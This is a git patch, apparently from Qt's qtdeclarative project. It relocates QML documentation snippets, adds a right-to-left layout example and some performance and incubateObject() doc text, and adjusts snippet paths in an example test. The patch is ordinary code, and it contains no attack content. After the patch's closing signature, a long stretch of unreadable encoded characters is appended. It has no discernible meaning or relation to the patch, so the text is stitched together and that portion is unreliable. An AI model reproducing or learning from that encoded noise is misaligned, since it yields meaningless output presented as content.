a/doc/src/snippets/qml/codingconventions/myscript.js +++ b/src/qml/doc/snippets/qml/codingconventions/myscript.js @@ -1,8 +1,5 @@ function calculateWidth(parent) { - if (parent == null) - return 0 - var w = parent.width / 3 // ... // more javascript code diff --git a/doc/src/snippets/qml/xmlrole.qml b/src/qml/doc/snippets/qml/righttoleft.qml similarity index 55% rename from doc/src/snippets/qml/xmlrole.qml rename to src/qml/doc/snippets/qml/righttoleft.qml index 34868fb..0566be2 100644 --- a/doc/src/snippets/qml/xmlrole.qml +++ b/src/qml/doc/snippets/qml/righttoleft.qml @@ -39,43 +39,111 @@ ****************************************************************************/ import QtQuick 2.0 -import QtQuick.XmlListModel 2.0 - -Rectangle { - width: 300; height: 200 +import "righttoleft" +Column { + width: 200 //![0] -XmlListModel { - id: model +// automatically aligned to the left +Text { + text: "Phone" + width: 200 +} + +// automatically aligned to the right +Text { + text: "خامل" + width: 200 +} + +// aligned to the left +Text { + text: "خامل" + horizontalAlignment: Text.AlignLeft + width: 200 +} + +// aligned to the right +Text { + text: "خامل" + horizontalAlignment: Text.AlignLeft + LayoutMirroring.enabled: true + width: 200 +} //![0] - source: "xmlrole.xml" //![1] - // XmlRole queries will be made on elements - query: "/catalogue/book" +// by default child items are positioned from left to right +Row { + Child {} + Child {} +} - // query the book title - XmlRole { name: "title"; query: "title/string()" } +// position child items from right to left +Row { + layoutDirection: Qt.RightToLeft + Child {} + Child {} +} - // query the book's year - XmlRole { name: "year"; query: "year/number()" } +// position child items from left to right +Row { + LayoutMirroring.enabled: true + layoutDirection: Qt.RightToLeft + Child {} + Child {} +} +//![1] + +//![2] +Item { + height: 50; width: 150 - // query the book's type (the '@' indicates 'type' is an attribute, not an element) - XmlRole { name: "type"; query: "@type/string()" } + LayoutMirroring.enabled: true + anchors.left: parent.left // anchor left becomes right - // query the book's first listed author (note in XPath the first index is 1, not 0) - XmlRole { name: "first_author"; query: "author[1]/string()" } + Row { + // items flow from left to right (as per default) + Child {} + Child {} + Child {} + } } -//![1] +//![2] + +//![3] +Item { + height: 50; width: 150 + + LayoutMirroring.enabled: true + LayoutMirroring.childrenInherit: true + anchors.left: parent.left // anchor left becomes right -ListView { - width: 300; height: 200 - model: model - delegate: Column { - Text { text: title + " (" + type + ")"; font.bold: true } - Text { text: first_author } - Text { text: year } + Row { + // setting childrenInherit in the parent causes these + // items to flow from right to left instead + Child {} + Child {} + Child {} } } +//![3] +//![4] +Rectangle { + color: "black" + height: 50; width: 50 + x: mirror(10) + function mirror(value) { + return LayoutMirroring.enabled ? (parent.width - width - value) : value; + } +} +//![4] + +//![5] +Image { + source: "arrow.png" + mirror: true +} +//![5] } diff --git a/doc/src/snippets/qml/righttoleft/Child.qml b/src/qml/doc/snippets/qml/righttoleft/Child.qml similarity index 100% rename from doc/src/snippets/qml/righttoleft/Child.qml rename to src/qml/doc/snippets/qml/righttoleft/Child.qml diff --git a/src/qml/doc/src/qml/dynamicobjects.qdoc b/src/qml/doc/src/qml/dynamicobjects.qdoc index 6437ced..caa4e63 100644 --- a/src/qml/doc/src/qml/dynamicobjects.qdoc +++ b/src/qml/doc/src/qml/dynamicobjects.qdoc @@ -118,6 +118,8 @@ use the signal \c connect() method. See \l{QML Signal and Handler Event System#Connecting Signals to Methods and Signals} {Connecting Signals to Methods and Signals} for more information. +It is also possible to instantiate components without blocking via the +\l {Component::incubateObject()}{incubateObject()} function. \section2 Creating an Object from a String of QML @@ -149,7 +151,8 @@ The actual creation context depends on how an item is created: \li If \l{QML:Qt::createQmlObject()}{Qt.createQmlObject()} if called, the creation context is the context of the parent item passed to this method \li If a \c {Component{}} item is defined and \l {Component::createObject()}{createObject()} - is called on that item, the creation context is the context in which the \c Component is defined + or \l {Component::incubateObject()}{incubateObject()} is called on that item, + the creation context is the context in which the \c Component is defined \endlist Also, note that while dynamically created objects may be used the same as other objects, they diff --git a/src/qml/doc/src/qml/performance.qdoc b/src/qml/doc/src/qml/performance.qdoc index f6e56c9..081f695 100644 --- a/src/qml/doc/src/qml/performance.qdoc +++ b/src/qml/doc/src/qml/performance.qdoc @@ -607,6 +607,30 @@ Rectangle { } \endcode +Note that this is still not as efficient as specifying a static size, so you should still specify static sizes via +the x, y, width and height properties. + +Item coordinates are always relative to their parent, so if you wanted to be a fixed offset from your parent's +0,0 coordinate you should not use anchors. For example the following items are in the same place, but the anchors +code is not as resource efficient as fixed positioning. + +\code +Rectangle { + width: 60 + height: 60 + Rectangle { + x: 20 + y: 20 + width: 20 + height: 20 + } + Rectangle { + anchors.fill: parent + anchors.margins: 20 + } +} +\endcode + \section1 Models and Views Most applications will have at least one model feeding data to a view. There are diff --git a/doc/src/snippets/qml/listview/listview-snippet.qml b/src/quick/doc/snippets/qml/righttoleft/Child.qml similarity index 91% rename from doc/src/snippets/qml/listview/listview-snippet.qml rename to src/quick/doc/snippets/qml/righttoleft/Child.qml index 1458e9a..5006854 100644 --- a/doc/src/snippets/qml/listview/listview-snippet.qml +++ b/src/quick/doc/snippets/qml/righttoleft/Child.qml @@ -38,15 +38,14 @@ ** ****************************************************************************/ -//! [document] import QtQuick 2.0 -ListView { - width: 50; height: 200 - model: 4 - delegate: Text { - text: index; - font.pixelSize: 40 +Rectangle { + width: 50; height: 50 + color: "black" + Text { + color: "white" + text: String.fromCharCode(65 + Math.floor(26*Math.random())) + anchors.centerIn: parent } } -//! [document] diff --git a/tests/auto/quick/examples/tst_examples.cpp b/tests/auto/quick/examples/tst_examples.cpp index b019c71..7e376b4 100644 --- a/tests/auto/quick/examples/tst_examples.cpp +++ b/tests/auto/quick/examples/tst_examples.cpp @@ -89,18 +89,18 @@ private: tst_examples::tst_examples() : canvas(0) { // Add files to exclude here - excludedFiles << "doc/src/snippets/qml/listmodel.qml"; //Just a ListModel, no root QQuickItem + excludedFiles << "snippets/qml/listmodel.qml"; //Just a ListModel, no root QQuickItem // Add directories you want excluded here (don't add examples/, because they install to examples/qtdeclarative/) excludedDirs << "shared"; //Not an example excludedDirs << "qtquick/text/fonts"; // QTBUG-21415 - excludedDirs << "doc/src/snippets/qml/path"; //No root QQuickItem + excludedDirs << "snippets/qml/path"; //No root QQuickItem excludedDirs << "tutorials/gettingStartedQml"; //C++ example, but no cpp files in root dir // These snippets are not expected to run on their own. - excludedDirs << "doc/src/snippets/qml/visualdatamodel_rootindex"; - excludedDirs << "doc/src/snippets/qml/qtbinding"; - excludedDirs << "doc/src/snippets/qml/imports"; + excludedDirs << "snippets/qml/visualdatamodel_rootindex"; + excludedDirs << "snippets/qml/qtbinding"; + excludedDirs << "snippets/qml/imports"; #ifdef QT_NO_WEBKIT excludedDirs << "qtquick/modelviews/webview"; @@ -112,6 +112,7 @@ tst_examples::tst_examples() : canvas(0) excludedDirs << "demos/twitter"; excludedDirs << "demos/flickr"; excludedDirs << "demos/photoviewer"; + excludedDirs << "snippets/qml/xmlrole.qml"; #endif // QTBUG-24034 - don't run customparticle examples @@ -276,11 +277,15 @@ void tst_examples::sgsnippets_data() { QTest::addColumn("file"); - QString snippets = QLatin1String(SRCDIR) + "/../../../../doc/src/snippets/qml"; - + QString snippets = QLatin1String(SRCDIR) + "/../../../../src/qml/doc/snippets/qml"; QStringList files; files << findQmlFiles(QDir(snippets)); + foreach (const QString &file, files) + QTest::newRow(qPrintable(file)) << file; + snippets = QLatin1String(SRCDIR) + "/../../../../src/quick/doc/snippets/qml"; + files.clear(); + files << findQmlFiles(QDir(snippets)); foreach (const QString &file, files) QTest::newRow(qPrintable(file)) << file; } -- 2.7.4

zapd}QfTB$fzSOiNNz%@Xc};7O6D^s-j+5qGtp{~!yYD&Qp+7{^f3O$%P7B}CM(rg7yJ{!hMdqH<$zfDjS(km_P5GdXI>7(px0dkR2 z53dM{)hDR582dRm5MzU8p?H|DcLvN_?>8>M!$_l8KnmSA0dzGBD-{|=K>m`_kijG+ z*k#31#C|a@?@P)MUIv!h4CL;sg1)gb>ru`5?LoUcl!7Fa>9e~@`uLO3M8Xkl!~Gx- zgFGgwT|7Qu2fIpe*v3vx&g{ZG@_3;OT{=R4X1s^D%w7JYxKi4QI{XHnFZ%9kD{0Da zP4VtKx9_{-4EkepG0f6X(i`cVvv5rb?;ANc@#iZaJc^AFfab`HVm@RZY>d-)tAZH# zmg`&`KZ%nlr#qzcB35jr1alM*uW0Q;kO3nfcxJ&`-EWq9ZM4S;{FVhcv;@bno)D z4-~sYPJ^{YmR`(+8gjIJ3clhR;;R>nDVIIIeF!JfiBJ7N4lmUj(h z9Fa$6C#o6@dPyMQK*@)r0`6(_8}xt%Yxh!U#?M-_9%isLi&ZBgeC9DxW^gvSP#ZGv#RA_|pTLH%#^~=GgnE zKkP6{3Zkk6nUKVlFZfX`j!0;g!E`IZTSv)Uf!A$Bt>ZoCs&f#sbWiJ`=E{Zqd6Pk<( zyW@-lyI;v#$QN>6(hPQ(iio?>peuy!m+MwXMCm|K{$sLF9QFSo+s1Y_~os$7D~5 z)o_c9=Dq>X3rzWTnc5n+A)uW}jHcI4h*7hlc+{T{tPI=z#_nU97k~UU898aQ{?hT~ zp4I%wt9^%!Hsx&>oz3q?NB!4*@;P$ys_^~efpT=~kN>>k|L@b*nUHgn(4G&7)G2aV zGX_5vh0_8CvEU?K-N$d>o@2kCT&TfD$8J=fWyS!D);aGT-><-BcNn1K>lVNowHy0E z#I2j(;9OMezNNw&Y4Aws+`#Z*JKpGTt!O5|+5!M5zjKDxdNUVvwe6oYxiqCwT;!fP z@2@CkZ!iEGYcglo+j|sO!yJJpv00vbduu0h zfA0^g;_jAtU}4ovwZ9f>Z#v4J?ssmUZV#?K&y#(@8AMNaeH-^Z{_Ehl;O7%8>VL~; zUC%5=9&UTum!`qI5By$vAo$Nc@AX^XFim@>Teu06U-X`XQMLU%))CnI>y{iyd5{zd-piN8KD`Js1v zF(|tcg!uOc2XJM>MHd6!-y!(ioW!-3Y1nnCn99tQi8rWRh2sQ#1!ZdM_|^eCR)!M?*pUSEp?p|T;&_CDRg z9;JuSTKJC)Gzvx1{zY`8hU#}ETS1%nB06FTSE?|w{ssS?I;B%WJ#H60w%`2F zsN8gRck4A}ShC>ehwu*YevyH?28KKSw+z%gDkdpDMLW?(6&X$9KQd5-Gz}1#2{}2x zLZna~WX}L8dLeBYSGK*cMgk$TwAA#V_ry1g#6BqkjVW`lDIgo8rF-OReCI6v$@gb zN6gboW&|H6bT2vPV!go0?GI%{f7ZGxswt31!xiw*qs3kiQKMHOCxh1pj3#pUqeL#v zY+|}kN-yIZ;fwjbIAnfkQTqWBxga~#T7op$(^V3mNdx^7)_Ls|6vNVtQ8DIuK+T8@ z`DDs6A_Z=z})GqbJ$kB9|n(d-C` zU>7fb7RZR)Jv(OmO<>hT`Zs|Xme$6TAvxu=1}`34fpK=UzRB%dQjP z^!w}LR3&5CK9pd5H?%DTvTEN#fNu-aq8pKtS~{d5=8hI)X#&k85*rgqU%2EV!Gzc| z@|-Tf6Vr;^BUd>4Gtw7wBRH^(cuC3cb%MIm=i78n>S$TU7m?_ddJEkvso9@!(HFf@ zFA#~i#3X^~yd~F*E9O=aqRvS0GeDzNnMupdMOvI)#!)rStG~IqFz_wm(6oetSp2pV zn-Ft?Xl|=fws2&nKPj0h1P%VvhSffRwjw0nXL%aft1--$RP+z2 z2op6VEx*N2nas9gG6`UtiX*jTS#s40K5l0AqGg33n*}hpJZ$|s3j*M?7O=&W3hlLb zqFjG0CD;(`DWD@@QLZN7VL{7|mi+>9|B60-VFjU3u;^uDTkXy~NqOKwAFCAdgZyrd zKx6)pzAw!;x87D$A#m1Ofxc#PHPryax{Ch6Sd0OzW?*3Z(ej(5TjK|xnlNH0|CHQu zYNK$vXyGa1wZk;NeWd&ViU=P*Ca-@*cXzNxh3zUe(_P#MlqCkW|h*hnpR z4!e{HkqHGnul_Na;Q8$>5gR-8M(8DtmK3lT-+k1cb;rqy_vB&EH_Q;9m;MM}Sl6lZ zLVySPBj9Rmwj$D`bBrzbzdGclb`FrfvwEVleLv=hjMTx}V91@wnpaKpLI?>#Uz>lc zB<@w>w{A}&J$-de{j#U#&b8|I5uRDwI^4Ac5mgkgR@Ncr{-XH@UvYzGe-<&T2^$Ea zd-n8g0GE2+5l}}1Fw=h^y~6DYZbmbI?W9_T0%iY2GOhb0+f#Z<&&uJ1a3fyY2xKor z!DE$l>YgTuFe4CpO@QfKnrHmfncF8?a2TBVA^oFQFle(T&rZ_+*9>csBq}#9LO3^x z+2lg_nZ^Ly2kF3w5JD`$zWy~-99ImmlY$Tw=}{&%#g)k4O_*K6js(eN<2Kw?J37~V zc2I{?oVbCc`GC>xk_0Roi!`l@Fh3>%lZ*8b5E{8^fT5ll#oL)Y$SEVPL_IyDVzykn z!yj;_7XuXk%?EXEvWTfMxIGEK*eFs|b zX2=#yP2ZpnKr0z3^hq?+@E0&=c$+)^wh_m-hF~6r2TxHZi8^i8jGohfNnWXg)gTlt z2U4yzslZ(qKlz{w&0CU149+E^FaX)t1nZ3PzB&9Nu!v9>l;s<(1s?>MDldm39C4m` z0rQej{#U6)!6NlKZpymMBL~r+Xb-chF^aje7@2!$3dNX@%Ms=`CXkNqvBVn^Sl z&-qW&4*PNnMP^$5(w{P`l@MFZ4L$yr@v>Qh2-oH#!awhT!rD;?ItnB7!o~eoF?3Tv2coTVQZ`8^H0@` z8n4+NGGV4^OG~pi^{Usw#*wWf!EE7892XTaA^Z=+y! z9N@fNQ+zesk%HWN)S&szWpv|9>zvyRu{kwSL`K~Ae9lKcb_itZ^*c$7q z<8L^5Hot!h19{Dcc)M;+-j5n}04n!i2Zkd?E>2oN<`z^gsq%)0c$8hNQHpyIRY4yu zyWx5>cxX_RjTnD3_kB2m-v*>7JvT_H2$k5gG<~=0mj7wI5=I^D|ML%<<4p<|75T^* z*0*m_`?l4PYy}WBk7!`~r8R9aJqp1mrd|7a9w*f;kK;=)e8$?tMvLGl25yTk>!58>5VSfitl!a-kPq!CI%zjdHXD(g!E{fk=mR| zd3sPFUoNZo%r$V`Yi~*7w6?*$5Lay~2Eu@CJSMzDJ7QqkIkzxV?ILX}!a|Q#flKIa zw4&BXU+aopSyO@Ui{I?O^$o*3mgq9GmhQi-{oY|{(Iy$mvKftD66tTMt3Fe;hTYt9 zvb$rnQg;~2)lwrgvvbA2am8ssI_tQvT)lsXjjfP!P8JaXy%Cv49{ zy2h#nU)3jVcG#<$&H}>@2k<8??H3byl{=ot>7^i`W36FHaOOGOASCSko(0+XA3N5$ zQ>3K+;X?L1+^VSmGvc-UUoy~We;`J8P`nzz)owu_#q}A;4g|OY>~&DxWyCgph24k< zd{FH_dTqVJ^lxD?IuGV>-qGazONIjnrVoDJ@B{p9R%`p?blZ*%$ku&)%D!|V62^cT zBK;HvUT3*>kpGMc)HGsPI59-x^mpo4N zlSk0)7)$0qjOwRrO&s`fQ}(}E{?0!&Q(gzjhWDWhdv8&uTsNsIAL+Fo?zyOZo0A3p zMHoKtA%A_gmF#*x+mrQMaDPtO^Yt2XJ1X)>Mg=f-yDq4Dt8&BFiTr9cP3sq2Tao<; zhTpbm`ci7Wh=@EOvLGx=&?^B@wWd##rXQ5rCv=ZLkjS5^7{L>QU=_f{8}{W3@hT_3@wPk9?qBJjsf%Wg9bXK1UU|eq@4SP zYKHo`_!aGkI_(E>J}`NoGKD0eh1o26-|&Zt4!;6U``k8!dk-lqgoLmvV-Z<;x;BR> zTZUWghw=RHBl@K$@gG}gKOpA+BTTj!j$?@oKMa>e;`i@`?6{WFWZr@tdSC>RkCrV||L6B-_i6qR5b z6Bm}4YLcwgh4Lz2hqhyCc$ok4%m6K&&3pffd+i>xx$n8}3!1)sSt)UyN1 z@kogHa%$l4XetyqgBYA6OE4a$m|GA1oIPnrZcLd7ksN$2@a@MY&bhMTbeR^7GC+1{ zxZAZ;@5uxmZ*WfP&1dRjk6#w^O=3-i`(Kdo#5^+lDL*f65#)eWHF1nyHQ5`t!14R5 z$<)TQbfROEoNKx{3e%a%)fuds>x|){NEHf)vvcdiZX|DNBCP(PHDU^lWeP)(O{-Uw z&aN9hoQ}j9jHW2p1qV)MJDuV)mdFmz1Q-MGvoe1+pIJvLa!5{SUS03C%gGigt>-)M z726kWbm}&Q^E=?t3RF9&T$R?09YwpXU#Jdwuq~*6Gxu^t0B?|kH=cbk{>)Ly5BK0x zv;DeGlsBTIkI@u+9mZ+kPc5=9&qx0wcr74~>y}cQg}C0}3v*{9bqH^m>@pgAX2|y2 zla@h{SErfTgb=EYL{2oiSISQ$OkS%VysOvL=#hJiP#VX@;eP$#^&FX)Se?WEf;h3a zoKb*RT3mocjoev0HN!tzkpR`fyF7iF7J+CkD@rSiI39z~yT~9TH^f_-<(rJCm7Ji> zxAaLyv=}giU~e7=^X3f1H|`Ct$k$#Ym@=;Nxkg$sytg-!;i*KtAfhluMImnOR@sM9 zIA%(fgW9N6^e^m%UYiFBWM*!c4#`kLOVL^h>m0BuK`Z`iW&JGDoCGe#?7Yc4LdHyh z!<2_w|Eka@Fw)ua`#gFDk{aP%Qy|_lHgOLZe?=*K`UFp zk)+|N?3^&p%9_82VlhEa;z#6NKBEwlo`tCR3elBP&dLtv2an0htu0TG_3jt{)2tOz_HHMIv&Q|kuEG&5Nwzp>1~T7Z&c0!7+&*i~9K9mIlKLxLODo_}l!iu@Ju#_yYILeF}sCnFPY zcjx%_sk`h=O#_ZvLD8LVt8^RQemS)JY+ilp`qS0TXuL<*dvVjBi1rzbmfN=8^eSFY zK6$IB^yl_P^TcJI3Qrz0-}Sko@AhT8C(4mY>f~;U zSV5>&-M$+ZDY!;G{;o2JdG9AMX;HtY&4i_|JWh(95*r!7PKlO{UkE3Pjr*kJdn@l} z4u$fec9cQ{XEvo!W|@Zjw^iy%f89tD;wBYr`c4>SI8+XD5&>dKHeyi1O;qX*F^io( z9m!NH%=bCu8(I2)m{-HAExhvX^Bz_W7Vn~=Reg*IrSh=Z#42y!J)I+urT(26y*5dD)a{0wC)y(g~#pz(uC6zXP; ztqVt{70GU0InWjMLD8lYZJEPNsu;69tLF)N5H*-8g>p3o{I~(GQ+jZXCKYqKu16*) zHLmdWh0fzWAyL1eb57DjfQhlsQEalL+uZNM&neAP>t3lp=44#`ZZhX4vEL|@#k3VhEB1N*Y z@29me!C%)RCm@@C?&0aO7t$N42N#-d1P63S=>E!p+AWw=GtJ<81A#}49<&&w5^Xt<1VPyP%h-f3rCZ^%{!KQv>Ig z6fb5J``y$ki_0G=|FThd{HL6Sp{GgJ{h=bH(HUf_K09M7GK}A-NkrkRg_g7zSI*4` zNb1`T6Q)o6RM1ahN1K+*=hOXp|MPJx1 zKltd}=I9z@TB6(+!URrU&$R(E%4j8@7215Ad3(Hbj9*SX(sk1GuPsPhtt~QAl=~z? zz}99I`-7qf~jz0cbVKW?al$P8$zii!UWya@7a{hAt95qA`{xL#a=J|_8uD# zF}w8K`-O<7xrsv%7xF5%qz9SW9fn`GY}R;ON?;K)8MurDU9A^glzgE5b>FwWVEsVi zNlT1dsq)d|!`{U~H$?6`8`pABY0e{#CN95@=Cizh+@34RpeSUS#UbJm= zuz;pbPmYaNZ(zE1z4v+ZSYg3-sdjiCgUY&N!lcw40Ytot%3@2GTpT{LE(AWZDxxtqd<LN#n0? z_kC{}rp=mZgT5{Gvc}HDB7MHUL+qXS-g{^Z&8{I!mz5u>M%44M?NsR>`ikatFJlhi z4zn_1b07Gf{|8t5FI#A+1_TcJrj_onCD`$v>&Z!yH{h@ZVm#o(L<3V3Uw6);Lihls z-8t3th94Jm*Af~YEtWL?L5es2Al)%$>fQZQ;ep&TR|*l?yZltk2-xvCxet$TU|qS= z{HJYVpSb@L+@uO#=J5;#opC<++o9dip?x3$!ZzlfhVo*iG6H)?f>_Xjdu%~aICuLo z9QS;vq*CCQ5v<-T95(|b&>F-Qz*M}NPH_QNEk!f%(dS3 z!(OFaWQ!rq5J{VCArA1+YE+N~!wS8F{d4=74IShLJ7VWXGQf~;Qpmr^;;4RoI$21J-jPRib0efUaLu&7-}{w)Dun3!i49~Q==L~%iO3;P=o|1yb=>O?Pt>2 z9Hd4Gub_v&sR=8QB4qI5+!2IEUR<$TMDI?7lxOHd2SL0hJgp|O6c#y#ad|2m!JH2| zPmi2p01`X6pYu`480s3_sEuv|7AGuKMmOdf|4xd|pN+O>M9hswEX)M6y^YcT-;n-~ zR8#=e`0tRudgzqEe)GfsH_xjv!xQ}vwZT-$O^uC2FxD@!E*UNK?LMS7I7s}`Kby!o zSrO1vb%cv@xTbTx%ClJ)QX;x~fW^T>@T6zHWNMflF+2(j96Cf@5}c!x0^?-kX|&`F zpBHlMP5>a0miVgB;qbC8qYXgw63*4Ut(7e@;DF^ys{^nqmv@Y}|3q~aO(WB`^7k59 z2z57&5_-FH=cEEuou7wyeqnKOfNiMx6O!YG=Id{We5a{h8BYFVAjRvJhh^q>>MI5n zW_^ge+59lB`Dr~}-AJ)}zI#Z8>Afp?BvqJ{fdW%E!XnnLwW9>Va29DXLm_}g z)-%QXHxxEdOAqE(7NJ<9gmwBb*t)>1X+EWDwC4)!I7PGe#yf z;3MB912lU2?T-zJUBu>lHXDoeA~T&}snKcZfo(?;nJ?h4PEBv9?og(Qv7~?r)6sS) z_c(!xg!2-Q($J>_xz>0MACC8bY8CobmpK?Jo@rr6mCmVY(c?W2<%Iuy9vr>Eq_6WwUs! zR;WGi*LO>g40VDhfaK!^l1iL&FC~C$Q@U%8?*M>pR81Sq($>A8_~ikgO?~@7hvLh5 zHTfmof&A6SbwA@`3e+lHY&_s?W_wc}$NXqzk&8#qlyWTyq~ddzoM!A>tu6A`MS@#( zmt%HzUYxBE6_hGwUn+gk%;3e={pz&ZQE&cep|Lnvu6PBP*C=KccvuhNt&r#78sX|2 z*y!4jKYHt+JK=Wzy12Nj*;DS-H_6_Tl^iUWxMS6HPL29r_b8ccRe8GNnV&7Z7<|8R z#5em%3X9dlRdz!a6VUl1T*j3LqAq>kr1Le-lztl)?y&9qESLRA1yzNAifbM_WiqTw zy<=L7wbJ0a78cjB_($!NF{(-ntf|oqRJ3^R5VxxQSv}n`1+&<~mWU@UAkqa!?eHJgb5?nl&E;X7GvDh`#6qZC7R%qQsz0onpqzGSRkwKF{p1s+=eWxqg7a>@!`O#cH{qt<~VT z65Q%mdWy-a(`Zx0uxKUGf+p(=l`QE_#49CX=EwLf|+^|H{T{lwBBul(3~%E-wZpbo{; z5pf9y6P$j$*jrWJ&>4orF>VvU#LPQhTGqK2st;JC^haH-nO!WNXsNj^4!oz z%LC>o5J(iLFavw*Q>H=*(OE@@Y4GEI6G*{Hg1u>*p{g5~Tt^(8S7LU7Z25J-F|8N8 zOgR0f#6i=|-?=5rA{4OZ#~57c%2}43{5u12qIq!_7R-q!-ts@!K^r0g>t3a^K5;#* zY#-~yKZsNu@TWh2@VY2OygzJI*&h;lPwP#B>9OKLFI{mkdirz9T}RdwK~tQ8|#heu#e&7Dww%A)l&UP!ZnqXVuoR4_rQnjEJd(iHb}41cbmq}%P2 zTs*|p$!UI|efC$9(cty(*2Pw@k)2_ z)xEr*jGjnEO{-5^4sX+<_;yt_`-M~^I_;KK2wQ5Cw^Z#v7fpL+*^Cdm_})pH(L4O# z^4A(xI1NOubPNO81;j0`;-c}J*PP1j9g>NJ<{ z#q8=_M95r9G&;*4f5&#V+{M4S$nkhm_gAUlH&NY>mc3G=eV7+QFMYhZ94#I9T1@U_ zZN~vm=>m;#ZNcOQc+i8gLATMAs?GZ|{O>aJe=gmJoZG3xUb9lYkpM$;(XT^i{O4&S z5JL>4Kie_>^RgeEXP<>!f(Fg>V%oP=M4w&>n!0=0U&z8<6dDs~_WHNqJA?XFgN8be zYw27KODk2E{%VYC@jwO;Et`T~qU;WLRy#!mSEXxq!F#ya{L+dw(CxY7z z?|dR}zgsWh!Oot?=4@17*`NIgtV1&DWSE$}Cm{#BBY_L5K)PQj#0`5w6_b2BRLUU$ z1`jbkhZ(z#E0lTqeI)RY53YX(C*cVaVg#hi$VnvODmwy>S^_*s+*>`oEILraA!PP8 zK=mUiVX$Z22(lCp1RA4GCvad1Z&3sRI1x<`(WVDzpuMlau^DN9YuB;}e15)=|gDPFP%_0p~#~`ysIG%s$ut$m>D*+9J)J`94N~RYTCw>){rR- hAh-i_z(#6AM<@^bw=k%_g8xC|{@?VE|KDG${}_*M$d=L4hHJp%D=2jzJhex}~IJ2UX_W317=|wCknZkIfdPc~ z_x}p-#op)KoVD-Hde)9oQ;`E$I} zx5}^yEdtCr^hgk)OtOr4SGXfwMqG~+CokmEalOlT%WrBh0b5z$^uHS`nNM%J0y}49V!~2ip^Dye4!bX_D>b z!SVMARFQ{M@)lzOMA8R|odL9{k73IV$$ZmAPHOza2D6%2L2^mG~%w zOprY!%RD%38F(x}WsM%yw*Fa{$tK;RsTpuVAO9({TihJj|Aj8v*RwVA`E7rZH~Vh| zllw?l0UBdC332lP%R$$h=qzfQ*X;wxy0;9XaYuu?)5y}8LNA7@Ti7DTIq*v`@DV;s zrHf8!g30^Ij87xMqtiiDOsR9Hw|LSJPDE-aZFa89D9i7r!RIz{{;W*6(hxS<-tj&t zg4Sn(=Lyl*k0DMYHRkfXrvDKSpqvVT2VEhG!nURTL4ep-75ozSk|OmbJ+xlBRD*DI zHOvfgd@}l=Ns4(4t93MgallKo1QQOEFWzw67ql4mFAOBmn9=<@1J%&*Li2wDvw&6- zL`}F=p$6-m`)L2xSqMT1&nZ5J#G3#^XsM*Xl)%vofHqR$a3SdkDmwfDeC&|7xz>>w z7eD!}>FYtPA>VSb_g`w_{KJNQt&+-CFnPh6Ci#huxwaa}T^CnDc z9m0*Z3b5)yopb&d7_QnCd+u?^xr~pqF?UXk{ZpPus&ka!O$Q_sK)&3^^yQUWQ!J7>#NWt9rB~F*{IsMccyPr^?q#xa*Dg{mD}*S6Y*zxdiTWI zjxYA@2c0}Y{VUI}0Q5|_%)GLotTo*-eGGwRWTG@I4}<4xn)tFJJN+z?(`&4#Glh4F zz`^hJiMLpjiu}cXkcp{GV7SI;BTv=T? zU29#1w-0yjw~KaCwzGH4c5rqmw;y&onEw!q5WfcBu=2BrXh^eBFjr}gsEHJKYq&@% z=noo26>65aYac}MR@ncfD#*(B*F-A$D9UL4Rtl^BROKpVA*rQ3qX&^_kp5eC*hHZ< zsvcXeo#&~10#**+l~l@0nOL+*IvhG&J+wKLn{Ju0;&+EgLN56!_;YMtLk==rG8i%( zGLrOd_1WqLY-emlCm5}#8nznnt-Y*OkM?Op;Hf%vtPP9?c%$9jaevT?_1M z9f|(wKb-nY^cVl|maG$~4ZHxR0B>v%= zNYD0;zZ)+Y+#cnvv``4_n|INzp`f0amMoR%wnIu3Cu~V#WBT?7@Vr5obIs&>mG28jdlw5gGa?VVCUW?pOXFg_WoS z&6DeHy{YsQ|7D+PnKg#4o#bIk9Sxl?N0@Uq?}ZV{j+Lj(UR<}5w~qKM@oMqd@q0NG zIaK4&aRn~6YN~2&rx--_tI=9n9t3KDO zb^86YqfuIuarP^mw5WI*0iK_laziqE2|* zro_lv-`XI}d;YLyvF5<}_I%UXw6`u&nb3PN_F^1GF+In;y zet|UG@y@wdX&GkL-wZ)7JVreB@^~gTCYbWA($Pk2cQtY8i&!laclw~6zN4O&sWts( z)Ssix4U?^L%aiv36PAF^nXft(1?_&M)iQL*;uJeLjmdqT!*-Yw}G>&T`f1%4`e%N!RJd3Hkg{J)%grPO!z>d+l35EJJ-_ zcOw47+{qbx1G}hyus7{VaLq_{1=6tGUlnC9<1Z6bXlEgn;yM#ob`W|T8W53%KSQG} zWaxf3Jih#chWY|JsavT5^CkA<|F=JEX4(%8%zggkXL#W~aZ%0W&GZ!_0Xb<9XlP(c zQ9Z2+J(@i1Q?2|k(*&Z)*l zEFc-H7n`Jfq1?SYu)7-lfpkg#*nrcJ7wNuPcfT{l#;fCL%wROy0rlc|Skz?e@Ysaz z-8(NeHx|Et>nLJvys#QDb-R0Fkb`h^Z*n(mIdOh)Er#v=7QPl%_NqJ+@YM5w-Hje1 za8_nlVsGtFA-D54_1BzdZHs%;UjN!3{u$tt;h)|-+}`4S#S`&uy3ai)e3+QuD(H9m zQ6QG?lOY^Q&hF26QE`pDygFR_8{|Zwk5i3{#P?`>8F=BI26?=XPZqP3yEOh}^gXUD zb~Y|O9`@#z>ddF%aAv^n=_oxaM2z9N!Z-hR_tAJP$U|B7V_Yk^HQNty)z za2Be>DOnckeM&F2DMH#|a!N;{v%IX!XTMz)I%9hWT@`+6xivhv%o)czbFJDF8b9+J zL+%BL?IGhaOo)T@Yt1mTh}U8eXum=+?4JZicPF2C1oBoFwCKuzDs2pWV15}qFR;!? zJ72cXWtEho9v7rZ_NI~BmU-v%A%20CahGU4$HYdv;9_Uhg(4ogSTSHD{u0BiBS~yz<#~uR}nwyPktpgLH zfz27SJ98gIEZY|G#RfypGN8eK7dH4W+CJ{$50ZT*O1sh*^Jl>4244=T!-c8hRKa{r zFJv3S?(j{wXpyrXUv96aDKRF31Y-1xL9VegwxW)+fk2?oPi~H97e+H^Wwns%HS;eE|U{R zSjf_4#JLHD09+)@mJ&RUQHI9m)N%)0R{?AJq9}=A5R>1IGI}h)H8ph2i4?DGum|H0 zqLTmE8+kU=`{hfm$NaSuR%@KAkme*@&3R^r5&#UR7A~lQx0s z7@1UkxnYvx(c#Cc*U!+okb`%R5bbXhj6u%Bw|@%4J_YKFCJXuL^M1au&aJbhqVey@*$!(^p z7F5PVXLr0h--kE#n`sKii$Q;+Ms)NQJv8!eJ97K(xn_{}lQ^HZAfUz-Q0#5DyGt9@4?vwx zO&N}y(Dw`_(<;L34H1@y#w5b&oHThPDY#sRs*`CqNd9@7V-l=Po%Je?TGGB?8TO|g zM6^Y7gBy3!9WZ-y}W1l^^^rbCt4pTX!{e 